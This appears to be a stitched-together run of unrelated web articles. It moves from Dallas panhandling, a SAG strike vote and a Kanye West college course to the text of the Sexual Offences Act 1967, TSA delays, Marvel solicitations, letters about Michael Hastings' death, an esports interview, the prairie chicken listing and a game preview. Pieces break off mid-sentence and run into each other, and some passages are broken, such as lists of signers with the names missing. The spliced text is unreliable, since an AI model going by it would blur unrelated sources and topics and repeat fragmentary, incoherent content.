In some ways, Ragan says, things in her corner of downtown have improved. The city and police have grown more responsive to the concerns of residents and business owners as the area has continued to develop and now conduct routine morning sweeps to roust those caught sleeping in public. The Farmer's Market, removed from city mismanagement and privatized, is thriving. Neighborhood groups in the area are active and growing in clout. But tension with the homeless hasn't gone away. In fact, judging by the recent Downtown Dallas Inc. letter urging increased police presence downtown and the City Council discussion a few days later, it's having something of a moment. And Ragan, naturally, is right there in the mix.
Earlier this month, Ragan put out a call to arms urging her fellow downtown residents to document encounters with overly aggressive panhandlers and share their photos and videos on social media. "With the panhandling, it's just become so rampant, it's just so aggressive," Ragan says. She kicked things off:An Actors Strike In This Economy? A-Listers Take Sides
The Screen Actors Guild is planning to call for a strike vote on January 2, that would have their ranks curtailing their current television and movie projects, and undoubtedly putting scores of others out of work in the process. Their contract with Alliance of Motion Picture and TV Producers expired on June 30, 2008 and SAG members have been working without a new agreement for the past six months.
The issues get dicey in the midst of an economy that is in the toilet. A good share of actors 'get that' and have drafted a petition that has been sent to SAG National President Alan Rosenberg asking the board to cancel the strike-authorization vote for now. Their document said:
"We feel very strongly that SAG members should not vote to authorize a strike at this time. We don't think that an authorization can be looked at as merely a bargaining tool, it must be looked at as what it is--an agreement to strike if negotiations fail. We support our union and we support the issues we're fighting for, but we do not believe in all good conscience that now is the time to be putting people out of work."
Those signing includeandOthers includeand
On the flip side, there are 30 prominent actors who have signed a statement supporting a SAG strike vote. They include Mel Gibson, Ed Harris, Holly Hunter, Martin Sheen, Sandra Oh, Jerry O'Connell, Rob Morrow, Hal Holbrook, Dixie Carter, Ed Asner, Elliott Gould, Valerie Harper, Robert Hays, Justine Bateman, Scott Bakula and Diane Ladd.
Chief beefs continue to be new-media residuals and other compensation related issues.There is a brand new course for students to take at St. Louis's Washington University. It's called the "Politics of Kanye West: Black Genius and Sonic Aesthetics."
To date, 75 students have registered for the class. According to the professor, Dr. Jeffrey McCune, the course is not about idolizing West, instead, they are using West as a "good way to get students to connect issues of politics, race, gender, sexuality and culture."
McCune says he has had the idea for this class for some time.
— Trump staffer says Kanye West not 'traditionally American' for inauguration —
"I always wanted to teach a course looking at black genius and the impossibility of black genius for the American public," he said. "We're always thought of as maybe being articulate or smart but not really genius...Kanye really uses hip-hop as a vehicle to display all of his talents, albeit some better than others."
See Kanye West meeting with Donald Trump
16 PHOTOS Kanye West meets with Donald Trump See Gallery Kanye West meets with Donald Trump NEW YORK, NY - DECEMBER 13: (L to R) President-elect Donald Trump and Kanye West stand together in the lobby at Trump Tower, December 13, 2016 in New York City. President-elect Donald Trump and his transition team are in the process of filling cabinet and other high level positions for the new administration. (Photo by Drew Angerer/Getty Images) Singer Kanye West(C) arrives at Trump Tower December 13, 2016 as US President-elect Donald Trump continues to hold meetings in New York. / AFP / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) Singer Kanye West (C) arrives at Trump Tower December 13, 2016 as US President-elect Donald Trump continues to hold meetings in New York. / AFP / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) Singer Kanye West and President-elect Donald Trump speak to the press after their meeting at Trump Tower on December 13, 2016 in New York. / AFP / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) Singer Kanye West and President-elect Donald Trump arrive to speak with the press after their meetings at Trump Tower December 13, 2016 in New York. / AFP / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) Singer Kanye West and President-elect Donald Trump arrive to speak with the press after their meetings at Trump Tower December 13, 2016 in New York. / AFP / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) Singer Kanye West and President-elect Donald Trump leave the elevator after their meeting at Trump Tower on December 13, 2016 in New York. / AFP / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) Singer Kanye West arrives at Trump Tower December 13, 2016 as US President-elect Donald Trump continues to hold meetings in New York. / AFP / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) Singer Kanye West(C) arrives at Trump Tower December 13, 2016 as US President-elect Donald Trump continues to hold meetings in New York. / AFP / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) Singer Kanye West and President-elect Donald Trump speak with the press after their meetings at Trump Tower December 13, 2016 in New York. / AFP / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) Singer Kanye West and President-elect Donald Trump speak with the press after their meetings at Trump Tower December 13, 2016 in New York. / AFP / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) Singer Kanye West and President-elect Donald Trump speak with the press after their meetings at Trump Tower December 13, 2016 in New York. / AFP / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) Singer Kanye West and President-elect Donald Trump arrive to speak with the press after their meetings at Trump Tower December 13, 2016 in New York. / AFP / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) NEW YORK, NY - DECEMBER 13: Kanye West arrives at Trump Tower, December 13, 2016 in New York City. President-elect Donald Trump and his transition team are in the process of filling cabinet and other high level positions for the new administration. (Photo by Drew Angerer/Getty Images) Singer Kanye West and President-elect Donald Trump speak with the press after their meetings at Trump Tower December 13, 2016 in New York. / AFP / TIMOTHY A. CLARY (Photo credit should read TIMOTHY A. CLARY/AFP/Getty Images) NEW YORK, NY - DECEMBER 13: (L to R) President-elect Donald Trump and Kanye West stand together in the lobby at Trump Tower, December 13, 2016 in New York City. President-elect Donald Trump and his transition team are in the process of filling cabinet and other high level positions for the new administration. (Photo by Drew Angerer/Getty Images) Up Next See Gallery Discover More Like This HIDE CAPTION SHOW CAPTION of SEE ALL BACK TO SLIDE
The class will serve up lectures on Tuesdays as well as "critical listening parties," and sometimes guest artists on Thursdays.
Some of the topics that will be covered are:
"Who is Kanye West and Why Is He in the Flashing Lights?"
"Touch the Sky, When the Aspirant Turns Genius"
"Father Stretch My Hands, or How Hip-Hop Takes Us to Church"
"Love Lock Down, or Hip-Hop's Queer Love Languages"
"I Love Kanye, or How Critique Slips Into Hate"
According to the professor, they will also dedicate a segment of the course to "The Swift Moment" when West rushed the stage during Taylor Swifts 2009 acceptance speech at the VMA's.
More from :
Trump staffer says Kanye West not ‘traditionally American’ for inauguration
The women behind ‘Black Girl Podcast’: ‘You can sit with us’
Would Dr. King be down for all black lives?E+W
Sexual Offences Act 1967 1967 CHAPTER 60 An Act to amend the law of England and Wales relating to homosexual acts.
1 Amendment of law relating to homosexual acts in private. E+W
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Annotations are used to give authority for changes and other effects on the legislation you are viewing and to convey editorial information. They appear at the foot of the relevant provision or under the associated heading. Annotations are categorised by annotation type, such as F-notes for textual amendments and I-notes for commencement information (a full list can be found in the Editorial Practice Guide). Each annotation is identified by a sequential reference number. For F-notes, M-notes and X-notes, the number also appears in bold superscript at the relevant location in the text. All annotations contain links to the affecting legislation. Annotations: Amendments (Textual)
2................................ E+W
Annotations are used to give authority for changes and other effects on the legislation you are viewing and to convey editorial information. They appear at the foot of the relevant provision or under the associated heading. Annotations are categorised by annotation type, such as F-notes for textual amendments and I-notes for commencement information (a full list can be found in the Editorial Practice Guide). Each annotation is identified by a sequential reference number. For F-notes, M-notes and X-notes, the number also appears in bold superscript at the relevant location in the text. All annotations contain links to the affecting legislation. Annotations: Amendments (Textual)
3................................ E+W
Annotations are used to give authority for changes and other effects on the legislation you are viewing and to convey editorial information. They appear at the foot of the relevant provision or under the associated heading. Annotations are categorised by annotation type, such as F-notes for textual amendments and I-notes for commencement information (a full list can be found in the Editorial Practice Guide). Each annotation is identified by a sequential reference number. For F-notes, M-notes and X-notes, the number also appears in bold superscript at the relevant location in the text. All annotations contain links to the affecting legislation. Annotations: Amendments (Textual)
4 Procuring others to commit homosexual acts. E+W
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Annotations are used to give authority for changes and other effects on the legislation you are viewing and to convey editorial information. They appear at the foot of the relevant provision or under the associated heading. Annotations are categorised by annotation type, such as F-notes for textual amendments and I-notes for commencement information (a full list can be found in the Editorial Practice Guide). Each annotation is identified by a sequential reference number. For F-notes, M-notes and X-notes, the number also appears in bold superscript at the relevant location in the text. All annotations contain links to the affecting legislation. Annotations: Amendments (Textual)
5 Living on earnings of male prostitution. E+W
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Annotations are used to give authority for changes and other effects on the legislation you are viewing and to convey editorial information. They appear at the foot of the relevant provision or under the associated heading. Annotations are categorised by annotation type, such as F-notes for textual amendments and I-notes for commencement information (a full list can be found in the Editorial Practice Guide). Each annotation is identified by a sequential reference number. For F-notes, M-notes and X-notes, the number also appears in bold superscript at the relevant location in the text. All annotations contain links to the affecting legislation. Annotations: Amendments (Textual)
6 Premises resorted to for homosexual practices. E+W
Premises shall be treated for purposes of sections 33 to 35 of the Act of 1956 as a brothel if people resort to it for the purpose of lewd homosexual practices in circumstances in which resort thereto for lewd heterosexual practices would have led to its being treated as a brothel for the purposes of those sections.
7 Time limit on prosecutions. E+W
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8 Restrictions on prosecutions. E+W+S+N.I.
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Annotations are used to give authority for changes and other effects on the legislation you are viewing and to convey editorial information. They appear at the foot of the relevant provision or under the associated heading. Annotations are categorised by annotation type, such as F-notes for textual amendments and I-notes for commencement information (a full list can be found in the Editorial Practice Guide). Each annotation is identified by a sequential reference number. For F-notes, M-notes and X-notes, the number also appears in bold superscript at the relevant location in the text. All annotations contain links to the affecting legislation. Annotations: Amendments (Textual)
9................................ E+W
Annotations are used to give authority for changes and other effects on the legislation you are viewing and to convey editorial information. They appear at the foot of the relevant provision or under the associated heading. Annotations are categorised by annotation type, such as F-notes for textual amendments and I-notes for commencement information (a full list can be found in the Editorial Practice Guide). Each annotation is identified by a sequential reference number. For F-notes, M-notes and X-notes, the number also appears in bold superscript at the relevant location in the text. All annotations contain links to the affecting legislation. Annotations: Amendments (Textual)
10 Past offences. E+W
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Annotations are used to give authority for changes and other effects on the legislation you are viewing and to convey editorial information. They appear at the foot of the relevant provision or under the associated heading. Annotations are categorised by annotation type, such as F-notes for textual amendments and I-notes for commencement information (a full list can be found in the Editorial Practice Guide). Each annotation is identified by a sequential reference number. For F-notes, M-notes and X-notes, the number also appears in bold superscript at the relevant location in the text. All annotations contain links to the affecting legislation. Annotations: Amendments (Textual)
11 Short title, citation, interpretation, saving and extent. E+W
(1)This Act may be cited as the Sexual Offences Act 1967 and the Act of 1956 and this Act may be cited as the Sexual Offences Acts 1956 and 1967.
(2)In this Act “the Act of 1952” means the Magistrates’ Courts Act 1952 and “the Act of 1956” means the Sexual Offences Act 1956.
(3)Section 46 of the Act of 1956 (interpretation of “man”, “boy” and other expressions) shall apply for the purposes of the provisions of this Act as it applied for the purposes of the provisions of that Act.
(4)References in this Act to any enactment shall, except in so far as the context otherwise requires, be construed as references to that enactment as amended or applied by or under any subsequent enactment including this Act.
(5)This Act shall not extend to Scotland or Northern Ireland.More than 70,000 American Airlines passengers have missed their flights this year due to “excessive wait times,” according to a company executive.
“We have never seen TSA wait times that affect airlines and passengers throughout the United States like we have seen in recent months,” American Airlines Senior Vice President of Customer Experience Kerry Philipovitch told a House subcommittee on transportation security Thursday, according to prepared testimony.
Philipovitch added that “over 40,000 checked bags were delayed in TSA screening and did not travel on their scheduled flight.”
Philipovitch’s figures, which represent only a fraction of the total air passengers affected by recent security line delays at airports nationwide, highlight the severity of the problem as officials scramble to find solutions.
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The delays have several causes, including cheaper airfare driving record numbers of travelers to the skies and a miscalculation on part of the TSA concerning the number of travelers who would sign up for a pre-clearance program. The airlines, too, may have a hand in what’s happening, as travelers opt to carry their bags on flights rather than check them in order to avoid fees. (Addressing this, Philipovitch said the number of checked bags per traveler has remained “relatively unchanged for the past five years,” though TSA data shows the agency is on track to screen roughly 12% more carry-on bags this year than it did in 2015.)
Lawmakers have authorized the TSA to take steps to deal with the influx of flyers, but remains to be seen if the agency can react quickly enough to accommodate what is expected to be a record number of passengers this summer. The response at Chicago’s O’Hare International Airport, which recently saw severe wait times drop off to about 15 minutes, offers travelers a glimmer of hope ahead of the travel-intensive Memorial Day weekend.
Write to Alex Fitzpatrick at alex.fitzpatrick@time.com.Long scarred as the site of brutal civil rights struggles and decades of industrial collapse, downtown Birmingham, Ala., has struggled to attract new business or visitors, even from its own region.
But some recent efforts give the city a bit of hope.
The centrally located $25 million Railroad Park, 19 acres with lakes, an amphitheater and lots of green space, opened three years ago and has become a symbol for reviving the downtown district. Not only do thousands of tourists visit the park, but former city residents are also venturing downtown again after years of suburban life.
As evidence of continued growth, Regions Field, an 8,500-seat minor-league baseball stadium, opened in April just south of Railroad Park, another downtown attraction for the city’s roster. Other noteworthy projects include a heavily subsidized $70 million Westin Hotel and entertainment district in the city’s convention area, and a $7 million renovation of the Lyric, a former vaudeville theater nearly 100 years old and barely used since 1958.
While the downtown area somehow escaped the failed urban renewal efforts that razed buildings of historical significance in other cities, the district is home to an estimated 1.6 million square feet of largely vacant buildings constructed before World War II.In this live recording of a panel discussion at the CoinAlts Fund Symposium, Marco Santori, president and chief legal officer of Blockchain, managing director at Grayscale Investments, and Barbara Minuzzi, cofounder and managing partner of Ausum Ventures take stock of the 2017 year and discuss a range of trends they're seeing in the industry. Santori describes what the ICO wave was like from his seat as one of the most in-demand lawyers for ICOs, and why he doesn't actually think that securities (such as a SAFT) can later transform into something that is a non-security. He also talks about how big corporations are thinking about use blockchain technology -- and why we haven't yet seen much activity on that front in the market. We talk about the current clouds over the industry -- custody and regulation -- and Sonnenshein explains why investors choose Grayscale's investment products, such as the Bitcoin Investment Trust, rather that investing in the coin directly, and
Blockchain.info: https://blockchain.info
Grayscale Investments: https:// |
OS GAGE & ZEB WELLS
Penciled by GIUSEPPE CAMUNCOLI, HUMBERTO RAMOS, NUNO PLATI & STEVE DILLON
Cover by HUMBERTO RAMOS
The Big Time era concludes! Morbius has developed a cure for the Lizard, but is there anything left of Dr. Curt Connors to save? And how can Spidey trust Morbius when the Living Vampire keeps sinking his teeth into fresh victims? Then, Alpha is the most powerful entity on Earth — a brash slacker who gained powers in a lab accident caused by Peter Parker! Alpha will have to learn to be a hero, fast — which means Spider-Man’s got his first sidekick! But Spidey may be in over his head when a War of the Hobgoblins breaks out! Phil Urich has donned the demonic cowl, but Roderick Kingsley plans to reclaim his murderous mantle! And Alpha revels in some Big Time adventure of his own! Collecting AMAZING SPIDER-MAN (1999) #688-697, AVENGING SPIDER-MAN #11 and ALPHA: BIG TIME #1-5.
360 PGS./Rated T …$34.99
ISBN: 978-0-7851-9216-9
Credit: Marvel Comics
SAVAGE WOLVERINE VOL. 4: THE BEST THERE IS TPB
Written by JEN VAN METER, GAIL SIMONE,
FRANK TIERI, JOHN ARCUDI & DAVID MORRELL
Penciled by RICH ELLIS, NEIL EDWARDS, FELIZ RUIZ, JOE QUINONES & JONATHAN MARKS
Cover by DECLAN SHALVEY
Untold tales from Wolverine’s century-long life! In 1963, Wolverine must defend a group of innocent workers from evil. Meanwhile, in Dallas, an event will change the world. Then, meet the sole survivor of the 1929 Valentine’s Day Massacre: Wolverine! It’s gangsters, bullets, babes, villains, heroes and murder in a showdown in Capone’s town! Next, in the midst of World War I, Logan leads a daring mission, finds himself at the business end of twenty German soldiers’ guns and discovers that he isn’t the only mutant at war! Then, Wolverine takes on the Wild West! Finally, in the present, Wolverine collides head first with some bad luck on the worst possible day. He’s the best there is at what he does — but what if he has a bad day? Hopefully Jubilee can lend a hand! Collecting SAVAGE WOLVERINE #18-23
136 PGS./Parental Advisory …$19.99
ISBN: 978-0-7851-8965-7
Credit: Marvel Comics
IRON FIST EPIC COLLECTION: THE FURY OF IRON FIST TPB
Volume #1 in the Iron Fist Epic Collections
Written by CHRIS CLAREMONT with ROY THOMAS, LEN WEIN, DOUG MOENCH & TONY ISABELLA
Penciled by JOHN BYRNE with GIL KANE, LARRY HAMA, ARVELL JONES & PAT BRODERICK
Cover by GIL KANE
A Himalayan expedition to find the mystical city of K’un Lun left nine-year-old Daniel Rand’s parents dead, but Daniel found the path to K’un Lun and spent a decade there training under its immortal inhabitants. He became an unmatched master of martial arts and spiritual control; armed with the shattering power of the iron fist, Daniel left immortality behind to set out into the Western world and avenge his parents’ deaths. In tales packed with wall-to-wall kung-fu action, Iron Fist runs a gauntlet through the Kara-Kai death cult, ninja adversaries and mystic dimensions — joined by Misty Knight and Colleen Wing. Iron Fist’s skill in both mind and body will be tested — until his final showdown with the Steel Serpent! Collecting MARVEL PREMIERE #15-25, IRON FIST (1975) #1-15 and MARVEL TEAM-UP (1972) #63-64.
528 PGS./Rated T+ …$39.99
ISBN: 978-0-7851-9164-3
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ICON
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It's easy to be suspicious of the accident that killed Michael Hastings on June 18. The journalist who brought down General Stanley McChrystal was working the CIA beat when he was killed in a one-car accident on Highland Avenue — an accident that turned his Mercedes into a fiery inferno. Something didn't smell right.
As Gene Maddaus revealed in last week's cover story, Hastings' biggest enemy may not have been the CIA or the Pentagon. His own troubled mind was a far more likely murder weapon ("A Dangerous Man").
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Many readers weren't convinced. Writes Hiawatha, "If Hastings had written a piece that brought down a mob boss in the same manner he did McChrystal, the implicit shared cultural understanding would be that assassination was a reasonable consideration. Instead, an increasingly naive faith in the basic decency of our government leads writers to bend over backward, crafting silly stories like this one.
"Sure, it's totally conceivable this was an accident induced by emotional disease or exhaustion. But it's hardly an open-and-shut case.... Only one thing is clear: The CIA's old (and well-documented) program to popularize the 'conspiracy theorist' smear in the aftermath of the Warren Commission has become a successful American institution in its own right."
Charles Fredricks agrees. "Gene Maddaus spends 6,000 words or so convincing us Michael Hastings was troubled, without mentioning why he was a dangerous man to various authority figures, or what basis there might be for conspiracy theories surrounding his death. Beyond the obvious payback from General Stanley McChrystal or his supporters, check out Hastings' report on Lt. Gen. William Caldwell, who ordered those under his command to use their psy-ops propaganda machine to manipulate U.S. senators. That Hastings car could have been hacked receives not a mention by Maddaus, though no less than former counterterrorism chief Richard Clarke voiced the possibility. The curious nature of the crash itself, which left the engine some 50 yards from the vehicle, goes unexamined amidst Maddaus' seemingly thorough examination of Hastings' background and drug use earlier in life.
"Conspiracy theories may remain theories without further evidence, but to leave the playing field so unlevel by failing to report evidence and withholding their mention, or delving into the motives of those who might wish Hastings gone, leaves this reader wondering if Maddaus isn't just pushing a theory of his own."
Buffy Bufferton, for one, isn't convinced by Maddaus' reporting. "The crash was at precisely 4:20 a.m.? And he has a medical marijuana card? Doesn't that strike you as somebody's idea of a sick joke? Call me a crazy conspiracy theorist just like the rest, but when it smells like evil, it's evil. But thanks for trying to convince us he was a meth head with PTSD. Nice try."
You Write, We Read
Please send letters to L.A. Weekly, 3861 Sepulveda Blvd., Culver City, CA 90230. Or email us at ReadersWrite@laweekly.com. Full name and contact information preferred.We’re always a bit skeptical when on one day we get what looks like a “real” photo of an unreleased phone and the very next day we get what appears to be a mid-quality render of the same device. Call us crazy but that seems like it might be just enough time to break out some Photoshop for some fan art.
The image above is reportedly of the Nokia Arrow, one of the new Windows Phone 8 devices expected to be unveiled next week in New York. The device is supposed to be a mid-range phone, continuing the Lumia 710/800 line for Apollo.
Leaked to the site Phones Review & My Nokia Blog, anonymously, we’re not going to rate this very high as legitimate. It may be accurate if you’re looking for a computer render based off of yesterday’s photo but is it real? Seeing as it only shows the back of the device, like yesterday’s photo, we’re not feeling the legitimacy.
At the very least though, it may give you some idea of what this phone may look like—assuming Nokia and the person who made this can agree on which way the Camera bezel should go (vertical or horizontal).
Since this photo actually tells us nothing new—no specs, nothing on the front, etc.—we’re going to quietly forget this one and prepare for next week.
Source: Phones Review, My Nokia Blog; via WMPUBy Michael Mooridian (Gilean)
Steve Chau (Chauster) of Counter Logic Gaming kindly took some time out of his hectic schedule to sit down and talk with Major League Gaming about his team’s success at MLG Raleigh’s League of Legends Event. CLG had an incredibly successful tournament showing in which they didn’t drop a single series, and they managed this success despite being short a member of their official roster.
Note: please take a look at our Intro to League of Legends if you’re unfamiliar with any of the terms or concepts discussed here.
MLG: To begin with, congratulations on your 1st Place finish at MLG Raleigh! Now, when looking at Counter Logic Gaming’s recent tournament history, we notice something a little odd: CLG attended Dreamhack, Gamescom, and MLG Raleigh with a different roster at each Event. What's with the lack of consistency?
Chauster: Our main lineup attended Dreamhack. We had a ringer for both Gamescom and MLG Raleigh because one of our main members had prior commitments that they could not pass up.
MLG: Just to clarify for our readers, who *is* on your official roster?
Chauster: Bigfatjiji, HotshotGG, Elementz, Saintvicious, and me.
MLG: How long has this team been competing together?
Chauster: Our original lineup (everyone except Saintvicious) has been playing for over a year together. We have been playing with Saintvicious for at least six months.
MLG: Why did you guys choose Voyboy as your fifth member at Raleigh, and how difficult was it to adapt to a new player on the team?
Chauster: We needed a tournament-level top solo player and he fit the bill. It was pretty easy to adapt to a new player on the team as Voyboy knew that he was ringing for us. He just listened to what the team was saying instead of acting on his own, for the most part.
MLG: Did anyone have to switch up their traditional role? Or did Voyboy just fill in the missing one?
Chauster: Voyboy actually made it so that our traditional setups weren't run, since we were lacking a traditional AP carry.
MLG: At Gamescom, Salce was your fifth member. But at MLG Raleigh, he was playing for your opponents, EG. Were you afraid of him sharing any team secrets?
Chauster: No, we don't have any team secrets worth spilling. [grins]
MLG: After your success at Gamescom, how confident were you coming into MLG Raleigh?
Chauster: I was confident, because with Voyboy, our lineup should have been stronger than the lineup we ran at Gamescom, and this showed to be the case.
MLG: Did you change your strategy in the short time between Gamescom and MLG Raleigh? Or did you stick to what was already working for you?
Chauster: We adapted to having a bruiser player over another AP player. Teams have to adapt at everything thrown at them or they will never improve.
MLG: Now, on to the Event itself. MLG Raleigh had an invite-only format, meaning every team there was considered a top-tier team. But, on the bright side, you only had three teams to play against instead of a long run through a bracket. Did this make your tournament run tougher or easier?
Chauster: I think tougher with fewer teams. But CLG pride ourselves on being a top-tier team because we can adapt to more situations than other teams can.
MLG: In Pool Play, both Team SoloMid and Curse Gaming managed to force a three game series, and yet it was Epik Gaming who met you in the Championships. EG was the only team you managed to beat in Pool Play 2-0. Were you surprised to find them there?
Chauster: Yes, I originally planned to meet Team Solomid in the finals, but it appears that EG, TSM, and CLG have some kind of rock, paper, scissors thing going on where CLG beats EG, EG beats TSM, and TSM beats CLG (sometimes). At least, that is how I see it.
MLG: Was there a reason you struggled more against TSM and Crs?
Chauster: TSM and Crs both have more experience playing against us than EG does.
MLG: In nearly every game, we found CLG making an aggressive invasion into the opposing jungle. Have you always favored an aggressive play style like this?
Chauster: In recent weeks, we have adopted an aggressive play style like this. We always invaded when we thought we could win in an early team fight.
MLG: Do these aggressive gambles generally pay off?
Chauster: They aren't really all-out gambles, as we can back out if things go wrong, but generally they end up in our favor.
MLG: With this aggressive style, do you typically consider taking champions who are stronger early in the game? Or does your focus tend to fall on late game more?
Chauster: We never build champions based on invading enemy jungle at level 1.
MLG: Your entire team also made a point of foregoing the stronger Doran's items in your initial purchases in favor of health potions and boots or cloth armor. And yet, one would think a Doran's item would play an important role in your jungle invasions and level one fights. What's your reason behind these purchases?
Chauster: No one builds items according to the level 1 invasion that teams carry out. The only item that is bought to counter jungle invasions are wards.
MLG: That’s good information to keep in mind for anyone aspiring to compete as part of a top team in LoL.
Now, in Game 1 of the Championships, CLG started out strong, taking a 4-1 lead over EG and destroying three towers. But around 22:00, EG managed to get three kills, secure dragon (balancing out gold levels), and destroy one of your towers. They did this all in a very short period of time. Were you afraid EG was on the verge of a comeback?
Chauster: Yes. We had a really big lead and made a big mistake that led to EG getting back into the game. At that point it was anyone's game.
MLG: Around 38:00 of Game 1, EG actually had more kills, had secured Baron, had their middle inhibitor back up, and was on par once again with gold. But CLG still held a 7-1 lead in towers over EG. What did your team do differently that allowed you to take so many towers without sacrificing your own?
Chauster: We had the early game advantage and pressed it, the only reason we were on the verge of losing was that we were not able to take any more towers since the enemy team was actually stronger than us in team fights. However, since we had taken so many early towers, EG was somewhat pressured into their own jungle, which still allowed us to farm up.
MLG: Is tower control something your team generally excels at compared to other teams?
Chauster: No, we are hit or miss with tower control.
MLG: Game 2 went by much more quickly. In fact, you didn't lose a single tower. Did CLG change something up? Or was EG essentially out of gas by this point?
Chauster: EG's picks weren't that strong and we played very well all game, which led to EG losing relatively easily.
MLG: Thanks for taking the time to sit down and talk with us. Good luck to Counter Logic Gaming in all their future endeavors, and I’m sure we’re all anxious to see what role Major League Gaming will play in those.
If you community members want to keep up on the exploits of Counter Logic Gaming, you can visit their website at clgaming.net (complete with livestreams, guides, and more).In an interview yesterday, Nvidia CEO revealed two things: First, their sleek tablet prototype, which looks just like my wet dream Apple Tablet concept: Simple, thin, and omfgIwantone. Then, he declared his enraptured love for all things Apple:
[In my home we are] all Apple. Apple uses the best technology for their [computers]. Apple says to their customers: if you buy a computer from us you can be sure we have selected the best technology inside for you. That is their promise to consumers. Their promise to consumers isn't we've selected the best technology for you with the exception of what Intel allows us to use. That's not their promise. And that's why Apple uses the best technology where they want whenever they want. And that's why I'm all Apple! At home it's just Macs everywhere. It's Nvidia's technology in all of them but I use Macs. My son has two Macs, my daughter has a Mac, there's an extra Mac just in case and my wife has a Mac. It's just Mac, Mac, Mac! Because I know it's got the best stuff inside.
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That's quite an enthusiastic endorsement. So enthusiastic that he crosses the ultra-fanboy territory and gets into the "I've my hockey knee pads here and I'm ready to perform iphonelingus on you if you pick me as your tablet provider, Apple" danger zone. [Shufflegazine—Thanks Ron]Oil companies, ranchers and farmers are getting their feathers ruffled over a U.S. Fish and Wildlife Service proposal to list the Lesser Prairie Chicken as a “Threatened Species” under the Endangered Species Act.
“They’re trying and West Texans are fighting like crazy because it impacts ranching and the oil industry,” Guy Andrews, economic development director of the Odessa Chamber of Commerce, said.
The U.S. Fish and Wildlife Service held a meeting Feb. 11 in Lubbock to get feedback from more than 400 people, including ranchers and farmers, Andrews said.
“We urged that the comment period be extended by 90 days and that the entire process is extended six months before a final decision is made,” Norma Ritz Johnson, vice president of legislative affairs with the Lubbock Chamber of Commerce, said.“If the chicken is ruled to officially be threatened, it would greatly hamper, if not completely cripple, the oil and gas industry and it would be a huge detriment to agriculture.”
Johnson said when a species is listed as threatened there are different regulations that come into play as to what can be done on land as well “as greatly curtailing any activity that would be purported to disturb that habitat.”
“It’s absolutely ridiculous,” Kirk Edwards, president of Las Colinas Energy Partners and past president of the Permian Basin Petroleum Association, said. “This is just another move by the environmentalists to try to slow and shut down the oil and gas industry in Texas. What is incredibly dumb on this particular species is they’re trying to endanger it in Texas, yet there’s a hunting season for it in Kansas, so if it is so environmentally sensitive, why do they let people hunt it for sport in another state?”
The Lesser Prairie Chicken inhabits Texas, Kansas, Colorado, New Mexico and Oklahoma, according to the U.S. Fish and Wildlife Service website, Edwards said this issue is similar to last year when U.S. Fish and Wildlife tried to put the dunes sagebrush lizard on the endangered species list.
“The industry needs to rally against the environmentalists who make money off of filing these lawsuits,” Edwards said.
“We do not feel listing the Lesser Prairie Chicken as ‘Threatened’ is warranted,” President of the Permian Basin Petroleum Association Ben Shepperd said. “The best available science does not prove the chicken is in imminent danger. The chicken population is holding its own and in some cases growing. The populations are so healthy in Kansas they have hunting seasons.”
Shepperd said they are currently submitting official comments to U.S. Fish and Wildlife Service to address those facts.
U.S. Senator John Cornyn (R-Texas) issued a press release Thursday requesting an extension on the decision to list the Lesser Prairie Chicken as a Threatened Species.
“The outcome of this listing proposal is vitally important to many sectors in the local economies of our states, including agriculture; oil and gas development; ranching; transportation; and wind energy,” Sen. Cornyn stated in the release. “Listing the Lesser Prairie Chicken under the Endangered Species Act would negatively impact these sectors for many years to come. With this in mind, and knowing that conservation efforts are ongoing and that the science evaluating the status of the species is still developing, it is imperative to provide sufficient time to evaluate the true health of the species rather than simply hold fast to arbitrary court-mandated deadlines that do not account for ongoing species recovery developments.”
“It’s just like the dunes sagebrush lizard, where they had this big controversy and finally came to an agreement to set up some conservation areas,” Andrews said. “That is probably what they’ll do with the chickens, but it’s like one on a list of 119 species they’re trying to put on the endangered list out here, so we’ll go through a whole series of this.”
A U.S. Fish and Wildlife Service spokesperson did not return a message seeking comment.Famed video game designer Tomonobu Itagaki and his select group of creative warriors at Valhalla Game Studios are making a new game, Devil's Third, a hyper-violent shooter for the PlayStation 3 and Xbox 360.
Valhalla Game Studios is allying with publisher THQ to bring its newest action game to consoles, an original effort that Itagaki says is designed to be more fun and accessible, place a major emphasis on shooting—along with "deep melee and fighting systems"— and boast a robust multiplayer component.
The former members of Team Ninja, responsible for the fighting game series Dead or Alive and high-speed action game Ninja Gaiden, are crafting what Itagaki describes as a "breakthrough for the shooting genre." Valhalla's goal in crafting Devil's Third, Itagaki says, is to develop a shooter with a more "direct feeling of killing" your opponents.
"In looking at real combat, close combat has a more visceral bloody feel to it. I want to get more of that close combat feel in [Devil's Third]," Itagaki told Kotaku in a recent interview, the table full of Valhalla's top staff. Itagaki himself was without his trademark shades, wearing a new silver ring in the shape of the Valhalla Game Studios logo.
"It's not taking a hack and slash game and tacking on some ranged weapon combat. We feel we have a lot to learn as we make this, but we also feel confident in our experience and the fundamental elements of head-to-head competition in [our previous] games."
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THQ's Executive Vice President, Danny Bilson, glowingly describes the game's multiplayer experience as "phenomenal." It was Valhalla's original multiplayer build—and Tomonobu Itagaki's personal point of view—that urged THQ to sign the developer.
"We green-lit the same day," Bilson recalled. "Within 10 minutes of meeting Itagaki-san, I wanted to work with him. There was no hesitation at all. It was all about, how do we make a deal and how soon do we make a deal?"
THQ's publishing agreement with Valhalla will see the two companies work closely together on the development of the game and its fiction.
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While Bilson and Itagaki were tight-lipped about the story behind Devil's Third, they provided some clues about its war-torn settings, which span the globe. Bilson said the biggest clue about Devil's Third's background is the Kessler syndrome theory.
